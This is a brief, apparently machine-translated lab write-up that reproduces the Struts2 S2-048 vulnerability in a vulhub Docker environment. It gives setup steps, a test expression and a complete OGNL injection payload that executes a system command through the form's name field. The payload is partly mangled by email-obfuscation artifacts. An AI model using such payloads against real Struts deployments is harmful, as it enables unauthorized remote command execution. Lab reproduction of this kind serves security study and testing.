Struts2 Deserialization vulnerability recurrence

environment : vulhub

Environment construction

get into s2-048 catalogue

  switch root user

  Launch vulnerability environment docker-compose up -d

Loophole recurrence

  Browser access showcase

 

Gangster Name input  ${233*233} , Fill in the rest

 

take Gangster Name Enter it payload , Fill in the rest

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

 

• « 上一篇：Java Training topic ： Student information management system
• » 下一篇： Quick sort （Quick sort）